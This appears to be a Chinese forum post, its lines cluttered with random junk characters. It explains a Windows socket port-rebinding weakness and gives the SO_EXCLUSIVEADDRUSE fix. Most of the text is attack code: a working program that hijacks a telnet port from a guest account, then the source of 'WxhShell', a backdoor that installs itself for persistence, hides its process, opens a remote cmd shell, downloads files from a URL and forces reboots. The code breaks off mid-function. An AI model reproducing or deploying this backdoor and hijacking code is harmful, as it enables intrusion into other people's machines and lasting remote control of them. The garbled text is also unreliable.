在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3Yf~5csY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tISb' ^T Nd
He:: saddr.sin_family = AF_INET;
s|][p| LEg ?/!LIT saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kq*IC&y weMufT bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
KBDNK_7A &})Zqc3Lqk 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Tmk'rOg5 9^CuSj 这意味着什么?意味着可以进行如下的攻击:
5mX"0a_Q q*!Vyk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:z`L) bg2r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
m 0]1(\% Am<){&XT
] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
qzWnl[3 6?';ip 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8&:dzS C:_-F3|]cJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
MKh}2B#S =)%~QK{Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
79 \SbB [5PQrf~Mo 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
F8J\#PW [+!~RV_ #include
PKZMuEEy, #include
-n:;/ere7- #include
jA3xDbM #include
3F9 dr@I.7 DWORD WINAPI ClientThread(LPVOID lpParam);
,Vy_%f int main()
$\aJ.N6rb {
4|hfzCjMI WORD wVersionRequested;
yPf,GB" DWORD ret;
~X-v@a WSADATA wsaData;
|ADg#oX BOOL val;
U9XOs)^ SOCKADDR_IN saddr;
0pBG^I`_ SOCKADDR_IN scaddr;
CN6b982& int err;
;?{OX SOCKET s;
?'si^N SOCKET sc;
C_ W%]8u int caddsize;
f9HoQDFsM HANDLE mt;
RijFN.s DWORD tid;
{
3Qlx/6< wVersionRequested = MAKEWORD( 2, 2 );
g6H` uO err = WSAStartup( wVersionRequested, &wsaData );
t;
@T~% if ( err != 0 ) {
G)gPL]C0 printf("error!WSAStartup failed!\n");
c^~R%Bx return -1;
km,@yU }
l Ma|| saddr.sin_family = AF_INET;
;It1i`!R ahR-^^'$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,Qt2 ? 2U3WH.o saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
IIAm"=* saddr.sin_port = htons(23);
-yMD9b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t?FPmbjv {
0BN=>]V~j7 printf("error!socket failed!\n");
RWZjD#5%Z return -1;
)gG_K$08? }
v{) *P.E val = TRUE;
Ku8qn\2" //SO_REUSEADDR选项就是可以实现端口重绑定的
}q)dXFL=I# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
r#c+{yY {
`L"l{^cH printf("error!setsockopt failed!\n");
{qFAX<{D return -1;
[?n}?0 }
<$8e;:#: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.c@,$z2M //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
T*#< p; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
QKhvP> tj: >o#D if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
O*1la/~m {
u:>*~$f
ret=GetLastError();
t7/a5x printf("error!bind failed!\n");
~t^'4"K* return -1;
y<)q;fI7 }
)C>M74Bt listen(s,2);
b\+9#)Up@ while(1)
41o~5:& {
KRh?{ caddsize = sizeof(scaddr);
rlkg.e6 //接受连接请求
H?j}!JzAC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-l$-\(,M`# if(sc!=INVALID_SOCKET)
I_'0!@Nn7 {
jxZd
=%7Q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}#E~XlX^ if(mt==NULL)
%loe8yt {
\)BDl printf("Thread Creat Failed!\n");
!qJ|`o Y break;
#po}Y }
0GnbE2& }
BoXGoFn CloseHandle(mt);
$1myf Z }
^qPS&G closesocket(s);
Ok_)C+o WSACleanup();
#zKF/H|_R return 0;
-;U3$[T,J7 }
yQ+C}8r5 DWORD WINAPI ClientThread(LPVOID lpParam)
lR3JyYY{X {
J,^e q@( SOCKET ss = (SOCKET)lpParam;
E#,n.U>#) SOCKET sc;
} mEsb? unsigned char buf[4096];
x2z%J,z@4 SOCKADDR_IN saddr;
\Zo
xJ& long num;
]39A1&af} DWORD val;
q}%;O
>Z DWORD ret;
1ogh8% //如果是隐藏端口应用的话,可以在此处加一些判断
lof}isOz //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
& ^JY saddr.sin_family = AF_INET;
u9) <i]2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
<utD&D8w saddr.sin_port = htons(23);
+X7+:QQ} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R6dD17 {
f*ZIBTb 9 printf("error!socket failed!\n");
%/=#8v4* return -1;
qU:Mvb^5& }
x2H?B`5 val = 100;
j!QP>AM|` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vq*)2. {
}_o!fV ret = GetLastError();
>-YWq return -1;
,a?$F1Z- }
|%-:qk4rG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oj~0zJI {
0Xw3h^% ret = GetLastError();
r2
o-/$ return -1;
X8=sk }
i3 n0W1~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2j7e@pr {
_J`q\N
K printf("error!socket connect failed!\n");
pZe:U;bb closesocket(sc);
zq&,KZ closesocket(ss);
0YVkq?1x9 return -1;
xt"GO
b }
3re|=_
Hy while(1)
ZCS{D {
6s|4'! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
tL~?)2uEN //如果是嗅探内容的话,可以再此处进行内容分析和记录
JOJ?.H&su //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
*,d>(\&[f num = recv(ss,buf,4096,0);
#35@YMF if(num>0)
6dq*ncNin send(sc,buf,num,0);
CGkCLd*s] else if(num==0)
0`dMT>&I break;
b
ZEyP
W num = recv(sc,buf,4096,0);
!{L`Zd;C>w if(num>0)
+yd(t}H@ send(ss,buf,num,0);
/|2#s%|-= else if(num==0)
-wjvD8fL break;
UP}5E h }
yp:_W@ closesocket(ss);
)Vb_0 n=^ closesocket(sc);
?[G!6 return 0 ;
vS|uN(a.P }
#7~M1/eH=t kM
T73OI>_ 2v6QUf ==========================================================
`+/xA\X] Ge]2g0 下边附上一个代码,,WXhSHELL
;f7;U=gl, ) b
vZ~t+^ ==========================================================
v"&Fj +\a`:QET #include "stdafx.h"
Y|iJO>_Uu= j7)Xm,wI8 #include <stdio.h>
2So7fZa^wg #include <string.h>
.Z"p'v #include <windows.h>
yEe4{j$ #include <winsock2.h>
&[hq !v #include <winsvc.h>
1>SCY_Cv #include <urlmon.h>
~"+Fp&[9f 9\]%N;;Lo #pragma comment (lib, "Ws2_32.lib")
-
zQ #pragma comment (lib, "urlmon.lib")
!`G7X (&G4@V d #define MAX_USER 100 // 最大客户端连接数
^"h`U'YC #define BUF_SOCK 200 // sock buffer
tGs=08` #define KEY_BUFF 255 // 输入 buffer
\=yx~c_$L \HB4ikl #define REBOOT 0 // 重启
;O2r+n #define SHUTDOWN 1 // 关机
|?!Ew# w Q-!a;/ #define DEF_PORT 5000 // 监听端口
4u
zyU_ uwl;(zwh_ #define REG_LEN 16 // 注册表键长度
bX:ARe
O #define SVC_LEN 80 // NT服务名长度
^< ,Np+ Jk)^6 // 从dll定义API
$#dPM*E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ny>tJ~I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4 }l,F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
r2T-= XWB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/
W}Za&] 0.+"K} // wxhshell配置信息
P{eL;^I struct WSCFG {
!S[8w9q int ws_port; // 监听端口
tIgKnKr^) char ws_passstr[REG_LEN]; // 口令
@t int ws_autoins; // 安装标记, 1=yes 0=no
DdTTWp/ char ws_regname[REG_LEN]; // 注册表键名
mlR*S<Z char ws_svcname[REG_LEN]; // 服务名
!TRJsL8 char ws_svcdisp[SVC_LEN]; // 服务显示名
a r#p7N char ws_svcdesc[SVC_LEN]; // 服务描述信息
xFpMn}CD char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$e; _N4d^ int ws_downexe; // 下载执行标记, 1=yes 0=no
vnXa4\Vdy char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
PX3rHKK{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.VVY]>bJg@ {ZH9W };
Y" s1z<? Dq!Vo ;s2 // default Wxhshell configuration
Eg?6$[U`8< struct WSCFG wscfg={DEF_PORT,
cPxA
R]'U "xuhuanlingzhe",
$up.<qzj 1,
8Hf!@p6R+ "Wxhshell",
$-$^r; "Wxhshell",
oXgKuR "WxhShell Service",
;/W;M> ^ "Wrsky Windows CmdShell Service",
(63_ "Please Input Your Password: ",
FLO#!G 1,
|Ebwl] X2 "
http://www.wrsky.com/wxhshell.exe",
~O~c^fLH(B "Wxhshell.exe"
WlF"[mU- };
L{|V13? m9UI3fBX // 消息定义模块
"SyAOOZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
cjU* char *msg_ws_prompt="\n\r? for help\n\r#>";
c<j2wKz char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
DKCPi 0 char *msg_ws_ext="\n\rExit.";
31LXzQvFG
char *msg_ws_end="\n\rQuit.";
8?4j- char *msg_ws_boot="\n\rReboot...";
I)AV char *msg_ws_poff="\n\rShutdown...";
h5&l#>8& char *msg_ws_down="\n\rSave to ";
NamBJ\2E1[ &inu mc char *msg_ws_err="\n\rErr!";
0l6z!@GhT char *msg_ws_ok="\n\rOK!";
-DrR6kGjR )eNR4nF char ExeFile[MAX_PATH];
maLKUSgo int nUser = 0;
uYlC*z{ HANDLE handles[MAX_USER];
jRS0(8 int OsIsNt;
ewqfs/ ^0R.U+?+ SERVICE_STATUS serviceStatus;
d_*'5Eia6 SERVICE_STATUS_HANDLE hServiceStatusHandle;
F
kp;G zR/d:P? // 函数声明
>C~-*M9 int Install(void);
D*Y4B?, int Uninstall(void);
mHo}, | int DownloadFile(char *sURL, SOCKET wsh);
^ad
p<?q4 int Boot(int flag);
LQ"56PP< void HideProc(void);
*ta
``q int GetOsVer(void);
b w!;ZRK int Wxhshell(SOCKET wsl);
[rv"tz= void TalkWithClient(void *cs);
5C/W_H+9iK int CmdShell(SOCKET sock);
Lc6Wj'G
G int StartFromService(void);
{[PoLOCI int StartWxhshell(LPSTR lpCmdLine);
8/*q#j Y25S:XHk9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h8oG5|Y VOID WINAPI NTServiceHandler( DWORD fdwControl );
$
+;`[b &'4id[$9 // 数据结构和表定义
5YaTE<G SERVICE_TABLE_ENTRY DispatchTable[] =
j0!Z 20 {
m]BxGwT=m {wscfg.ws_svcname, NTServiceMain},
0&Q-y&$7 {NULL, NULL}
3(':4Tas };
U[=VW0 0b9K/a%sQv // 自我安装
Fd-PjW/E8 int Install(void)
]'=]=o~4 {
u~\u8X3 char svExeFile[MAX_PATH];
^#2w::Ds}! HKEY key;
ppjd. strcpy(svExeFile,ExeFile);
wp`a:QZ8N bR6.Xdt.n // 如果是win9x系统,修改注册表设为自启动
$*^Ms>Pa_ if(!OsIsNt) {
R+FBCVU&TJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D(D:/L8T, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Rz1&(_Ps RegCloseKey(key);
D\ ]gIXg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zME75;{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Od70w*, RegCloseKey(key);
Z:W6@j-~ return 0;
*{8Kb>D }
Eym<DPu$n }
hm >JBc:n- }
6+(g4MW else {
,qV8(`y_ f8kPbpV, // 如果是NT以上系统,安装为系统服务
.{x-A{l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9l9nT if (schSCManager!=0)
uPc}a3'? {
ULqnr@/FbK SC_HANDLE schService = CreateService
0&2(1 (
HDZB)'I schSCManager,
abkl)X>k wscfg.ws_svcname,
$Zp\^cIE+ wscfg.ws_svcdisp,
z9pv| SERVICE_ALL_ACCESS,
Lt0JUUa0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
u
HqP b8 SERVICE_AUTO_START,
TaeN?jc5 SERVICE_ERROR_NORMAL,
"Q6oPDX( svExeFile,
"S.5_@? NULL,
| ?3\xw NULL,
Mfe/(tlI NULL,
ZIQy}b' NULL,
`q7O\ NULL
5mUHk]W );
f4)fa yAVp if (schService!=0)
v{
Md4p {
Tz3 L#0:j CloseServiceHandle(schService);
PjNOeI@G CloseServiceHandle(schSCManager);
w~hO)1c],: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"2q}G16K strcat(svExeFile,wscfg.ws_svcname);
fy" q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6/Y3#d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
TJ8IYo|
D RegCloseKey(key);
@9g$+_"ZT return 0;
2apR7 }
p9Zi}!
}
C-lv=FJEk/ CloseServiceHandle(schSCManager);
;75K:_ }
QNn\wz_) }
/"?yB$s _0ki19rs return 1;
Z
.VIb| }
3maiBAOKz UXwnE@`F // 自我卸载
mH2XwA| int Uninstall(void)
G=Hvh=K( {
OAO|HH HKEY key;
FIhq>L.q4 .Nz2K[ if(!OsIsNt) {
fVx<f.xuW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U8qb2'a8 RegDeleteValue(key,wscfg.ws_regname);
U;u@\E@2 RegCloseKey(key);
~kPHf_B;z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gKoB)n<[ RegDeleteValue(key,wscfg.ws_regname);
O4J <u-E$ RegCloseKey(key);
[E<NEl* return 0;
m/uBM6SXx }
>J!4x(;Yh }
U8Z(=*Z3 }
.1<QB{4~v else {
P}hHx<L N,fEta6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&7_xr.c7 if (schSCManager!=0)
/ r6^]grg {
_Y@vO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W5 ^eCYHoi if (schService!=0)
r:0F("},
{
wb~BY if(DeleteService(schService)!=0) {
b>SG5EqU@ CloseServiceHandle(schService);
l =~EweuM CloseServiceHandle(schSCManager);
5<ZE.'O return 0;
&{E1w<uv }
l# u$w& CloseServiceHandle(schService);
I^S
gWC }
0'q&7
MV CloseServiceHandle(schSCManager);
E{x<P0 ; }
vYb.Ub+ }
6BK-(>c(6 k?]`PUrV return 1;
h=h4`uA9 }
J=?`~?Vbo OZ>w.$ue // 从指定url下载文件
|j:"n3~6 int DownloadFile(char *sURL, SOCKET wsh)
}2c)UQD8 {
$Y'}wB{pc HRESULT hr;
2$ m#)*\ char seps[]= "/";
%f3qCN char *token;
!YX$4_I char *file;
d [K71 char myURL[MAX_PATH];
&h^E_]P char myFILE[MAX_PATH];
v$~1{}iI5 ZNWo:N8; strcpy(myURL,sURL);
*} @Y"y token=strtok(myURL,seps);
Wk<he F while(token!=NULL)
Xc8r[dX {
b>g&Pf#N! file=token;
xE>H:YPm token=strtok(NULL,seps);
Y$JGpeq8w }
4z6i{n-k _v=S4A#tF GetCurrentDirectory(MAX_PATH,myFILE);
k*XI/k5Vc strcat(myFILE, "\\");
b,C2(?hg strcat(myFILE, file);
v *'anw&Z send(wsh,myFILE,strlen(myFILE),0);
K9-;-{qb send(wsh,"...",3,0);
/`6Y-8e2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u NmbR8Mx if(hr==S_OK)
Ub[SUeBGH return 0;
7\(mn$ else
:c75*h` return 1;
:\hcl&W: fv@mA -- }
]k+XL*]' A S +wy^x@@ // 系统电源模块
YkWv*l int Boot(int flag)
arVu`pD*n {
b$@vJ7V! HANDLE hToken;
DA=#T2)p TOKEN_PRIVILEGES tkp;
|!t&ZpdD >qE f991SZ if(OsIsNt) {
au=A+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
P"-*'q,9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
~l {*XM tkp.PrivilegeCount = 1;
AS1#_fC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<'T:9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
D;?cf+6$ if(flag==REBOOT) {
0FN;^hP5| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|:7
^ return 0;
{"v~1W) }
FZFYwU\~.L else {
QK~44;LVIJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FS'|e?WU return 0;
)NF5,eD }
b@v_db]|t. }
q8Jhs7fv else {
"rl(%~Op if(flag==REBOOT) {
bF2RP8?en if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?Z^?A^; }$ return 0;
DUrfC[jpv }
?.{SYaS else {
lL\%eQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>b;o&E`\ return 0;
4*0C_F@RX }
sA(d_Yu_ }
wak:"B[ jmORKX+) return 1;
WHF[l1 }
MiK
-W gDN7ly]6M // win9x进程隐藏模块
cMU"SO void HideProc(void)
lwSZpS {
}yzCq+ QG1+*J76b@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
a^vTBJXo if ( hKernel != NULL )
uqotVil, {
ZA1:Y{V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
']bw37_U, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!V^wq]D2 FreeLibrary(hKernel);
4 EE7gkM5 }
Tv[|^G9x Tv[h2_+E return;
a Fh9B\n }
J#'8]p3E }AW"2<@ // 获取操作系统版本
@D[tljc^ int GetOsVer(void)
v:F_!Q {
AAXlBY6Y- OSVERSIONINFO winfo;
fzdWM:g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
eIDrN%3 GetVersionEx(&winfo);
Xi~7pH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8P?p return 1;
!qu/m B else
""@kBY1C return 0;
\<aR^Sj. }
<rihi:4K {Mpx33 // 客户端句柄模块
RW`j^q,c3 int Wxhshell(SOCKET wsl)
FoQy@GnM5 {
d=nv61] SOCKET wsh;
9oU1IT9 struct sockaddr_in client;
('~}$%C DWORD myID;
ey]WoUZ drQI@sPp while(nUser<MAX_USER)
Ro@=oyLE {
Lcz` int nSize=sizeof(client);
nYnBWDnV wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G"F)t(iX if(wsh==INVALID_SOCKET) return 1;
( 5 BZZ ^'ws/( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
|}o6N5) if(handles[nUser]==0)
2C
Fgit closesocket(wsh);
V7"^.W* else
F{G.dXZZ< nUser++;
/UqIkc }
p:;`X! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%Ze]6TP/>< w{WEYS return 0;
LO;?#e7 }
b%QcB[k[WB TCR|wi]
kW // 关闭 socket
l3xI\{jn void CloseIt(SOCKET wsh)
P,rD{ 0~ {
*.6m,QqJ( closesocket(wsh);
der\"?_. nUser--;
y 2C Jk~ ExitThread(0);
K=Z.<f }
t2(vtxrt nN2huNTf: // 客户端请求句柄
{O6yJckH void TalkWithClient(void *cs)
/E-sg,
k {
n52Q-6H #O lPnP 2 SOCKET wsh=(SOCKET)cs;
"s.hO0Z char pwd[SVC_LEN];
[Y4Wm? char cmd[KEY_BUFF];
74=zLDDS char chr[1];
!C@+CZXLx int i,j;
050V-S>s 9S|a!9J while (nUser < MAX_USER) {
[]$L"?]0uk
u]OYu if(wscfg.ws_passstr) {
+~V)&6Vn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
IuY4R0Go //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UP7?9\ //ZeroMemory(pwd,KEY_BUFF);
#}Hdyl I\} i=0;
M0$_x~ while(i<SVC_LEN) {
FR']Rj sp&gw XPG // 设置超时
s6QD^[ fd_set FdRead;
P*]hXm85[K struct timeval TimeOut;
A">R-1R FD_ZERO(&FdRead);
}tO>&$
Z6f FD_SET(wsh,&FdRead);
)x<BeD TimeOut.tv_sec=8;
`B~zB=} TimeOut.tv_usec=0;
Ig<# {V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
CK#i 6!~r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
iwy;9x Oye6IT" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$)eS Gslz pwd
=chr[0]; @*roW{?!
if(chr[0]==0xd || chr[0]==0xa) { U4[GA4DZ
pwd=0; 2wJa:=$
break; 7GvMKtuSK
} k;Fxr%
i++; *L~?.9R
} nkzH}F=<
Qff.QI,
// 如果是非法用户,关闭 socket Yd(<;JKF[
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CQPq5/@Y4
} XE]"RD<z
\&l@rMD3s
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \mL]xE-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Uc
?./%7v
while(1) { |\>Ifv%{
pqTaN=R8
ZeroMemory(cmd,KEY_BUFF); I_ AFHrj
+sV~#%%
// 自动支持客户端 telnet标准 /I((A/ks
j=0; yp[,WZt
while(j<KEY_BUFF) { .%!^L#g
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TT no
cmd[j]=chr[0]; %OsxXO?
if(chr[0]==0xa || chr[0]==0xd) { 6a<zZO`Z6+
cmd[j]=0; 6Jq3l_
break; I1#MS4;$^
} 6FN#X g
j++; DJ9x?SL@KD
} A+j!VM
B>4/[
YHr;
// 下载文件 o70] F
if(strstr(cmd,"http://")) { M!D6i5k,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); gWL`J=DiU
if(DownloadFile(cmd,wsh)) :G#+5 }
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cvQAo|
else i{16&4 '
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UmArl)R/
} n wMq~I*1
else { _ds;:*N+qA
%E"v@
switch(cmd[0]) { JL>frS3M
UZs'H"K
// 帮助 G{{M'1
case '?': { 0":k[y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *U}ztH-+/
break; zkiwFEHA=
} !??g:2
// 安装 80`$F{xcX
case 'i': { f7 |Tp m
if(Install()) Zu<S<??Jf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -w>ss&
else 5fMlOP_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pf/8tXs}
break; xQ2:tY#?
} CB
X}_]9X
// 卸载 )\j
dF-s
case 'r': { !!ma]pB,
if(Uninstall()) [9B1 %W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0OQ*V~>f
else `/?'^A%Ik
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =6+99<G|%M
break; T"aE]4_
} w0+X;aId
// 显示 wxhshell 所在路径 7>f"4r_r6<
case 'p': { u:f.;?
char svExeFile[MAX_PATH]; ksCF"o/@V
strcpy(svExeFile,"\n\r"); -SfU.XlZl
strcat(svExeFile,ExeFile); x7Gf):,LK
send(wsh,svExeFile,strlen(svExeFile),0); ktS^^!,l%
break; :`Ep#[Wvo
} d S'J @e=#
// 重启 z{FFTb^B
case 'b': { 2Y<]X7Ch:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FE]UqB
if(Boot(REBOOT)) rlA/eQrS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2gZ nrU
else { Mi{ns $B%
closesocket(wsh); #0hqfs
ExitThread(0); 5@-H8*
} .ANR|G
break; hSR+7qN<e
} 2P)O
0j\/
// 关机 `uUzBV.FR
case 'd': { 4P"bOt5izR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kN78j
if(Boot(SHUTDOWN)) f0j]!g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "*.N'J\
else { G maNi
closesocket(wsh); [0hahR
ExitThread(0); Lr5{c5M
} Aq*?Q/pV
break; :e nR8MS
} <9piKtb|L
// 获取shell uo J0wG.
case 's': { f$6N
CmdShell(wsh); h6OQeZ.
closesocket(wsh); ]@ke_'
"
ExitThread(0); i;U*Y
*f
break; fISK3t/=C
} _ilitwRN3
// 退出 UAT\ .
case 'x': { 9cUa@;*1
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $A-X3d;'\/
CloseIt(wsh); biU_ImJ>0
break; gBi3^GxjM?
} eBs.RR
]O
// 离开
7s#8-i
case 'q': { R ZQH#+*t}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 80_w_i +
closesocket(wsh); *4Ldh}S!
WSACleanup(); <+-n
lK4
exit(1); z<mN-1PM7&
break; ]X77?Zz9
} N0-J=2
} DKu$u ]Z
} 'QxJU$
7U_ob"`JV
// 提示信息 fn=A_
i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,LN^Zx*
} VQ|{Q}
} d+,!p8Q
;nP(S`'
return; 5cinI^x)f
} :;yrYAyT3
}O>1tauI
// shell模块句柄 `G/g/>y
int CmdShell(SOCKET sock) [M,4qe8,}
{ rU&Y/
STARTUPINFO si; =CRptk6tS
ZeroMemory(&si,sizeof(si)); b<~-s sL7a
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bTmhz
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8K?}!$fz
PROCESS_INFORMATION ProcessInfo; ThgJ
'
char cmdline[]="cmd"; G^#>HE|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?z#*eoPr
return 0; ;"x+V gS'
} E
V)H>kM
l^nvwm`f#:
// 自身启动模式 q%e'WM G~n
int StartFromService(void) H~nX!sO
{ uJ
-$i
typedef struct ?%UiW7}j';
{ oJr+RO
DWORD ExitStatus; p|2GPrA]aL
